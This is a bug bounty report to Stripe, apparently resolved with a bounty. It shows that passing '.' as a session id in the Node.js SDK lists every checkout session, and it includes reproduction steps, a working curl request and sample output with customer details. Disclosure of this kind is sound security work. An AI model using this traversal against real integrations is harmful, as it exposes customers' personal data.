Limited path traversal in Node.js SDK leads to PII disclosure
Medium
S
Stripe
Submitted None
Actions:
Reported by
zerodivisi0n
Vulnerability Details
Technical details and impact analysis
## Summary:
It is possible to use `.` and `..` as identifier in all API methods, which leads to calling the parent api method.
Next, I will describe the problem using checkout sessions as an example, because it is the most basic one. However, other methods are also vulnerable to this problem.
For example, using `.` as checkout session id in [Retrieve a Session](https://stripe.com/docs/api/checkout/sessions/retrieve) method leads to call [List all Checkout Sessions](https://stripe.com/docs/api/checkout/sessions/list) method.
The problem arises because the Node.js http implementation automatically normalizes the path, so request `https://api.stripe.com/v1/checkout/sessions/.` will normalize to `https://api.stripe.com/v1/checkout/sessions/`.
I checked other SDKs and it looks like the problem is only in the Node.js SDK.
## Steps To Reproduce:
For ease of reproduction, let's create a project using [accept-a-payment](https://github.com/stripe-samples/accept-a-payment) sample template.
1. Register Stripe account and obtain `STRIPE_SECRET_KEY`
1. Create sample project using Stripe docker cli: `docker run --rm -it -v $(pwd):/samples -w /samples stripe/stripe-cli:latest samples create accept-a-payment`
1. Choose `prebuilt-checkout-page` integration, `html` client and `node` server.
1. Create `.env` file in `accept-a-payment/server` directory with contents:
```
STRIPE_SECRET_KEY=xxx
STATIC_DIR=/app/client
DOMAIN=http://localhost:4242
```
1. Run another docker container with nodejs: `run -it --rm -v $(pwd)/accept-a-payment:/app -w /app/server -p 4242:4242 node bash`
1. Install dependencies: `npm install`
1. Start the server: `node server.js`
1. Open web page in browser and complete the payment: `http://localhost:4242`
1. Send curl request in terminal: `curl "http://localhost:4242/checkout-session?sessionId=." | jq` (this request does not require any authentication and returns PII of all successful payments).
Example output:
```json
{
"object": "list",
"data": [
{
"id": "cs_test_a14L46PUF4tbXhcFrVU4Zv42kBQD2Hw5TIR6XdNHPJFckllG1Un4MztwlF",
"object": "checkout.session",
"after_expiration": null,
"allow_promotion_codes": null,
"amount_subtotal": 500,
"amount_total": 500,
"automatic_tax": {
"enabled": false,
"status": null
},
"billing_address_collection": null,
"cancel_url": "http://localhost:4242/canceled.html",
"client_reference_id": null,
"consent": null,
"consent_collection": null,
"currency": "usd",
"customer": "cus_LiJwdI9LfI4c9k",
"customer_creation": "always",
"customer_details": {
"address": {
"city": null,
"country": "RU",
"line1": null,
"line2": null,
"postal_code": null,
"state": null
},
"email": "[email protected]",
"name": "BB Tester",
"phone": null,
"tax_exempt": "none",
"tax_ids": []
}
"customer_email": null,
"expires_at": 1652991126,
"livemode": false,
"locale": null,
"metadata": {
},
"mode": "payment",
"payment_intent": "pi_3L0tE3DrJVF2EnNj1zw13o1n",
"payment_link": null,
"payment_method_options": {
},
"payment_method_types": [
"card"
],
"payment_status": "paid",
"phone_number_collection": {
"enabled": false
},
"recovered_from": null,
"setup_intent": null,
"shipping": null,
"shipping_address_collection": null,
"shipping_options": [
],
"shipping_rate": null,
"status": "complete",
"submit_type": null,
"subscription": null,
"success_url": "http://localhost:4242/success.html?session_id={CHECKOUT_SESSION_ID}",
"total_details": {
"amount_discount": 0,
"amount_shipping": 0,
"amount_tax": 0
},
"url": null
}
],
"has_more": false,
"url": "/v1/checkout/sessions"
}
```
In my example, only one session is returned, but in reality all current user sessions will be returned there.
I understand that this is only sample code and there may be more reliable implementations in production. However, such a sample code is usually used as a reference and I think that protection against this kind of attacks should be at the SDK level.
## Impact
The attacker can periodically call this method and grab PII, such as user's email address, name and address.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$1000.00
Submitted
Weakness
Information Disclosure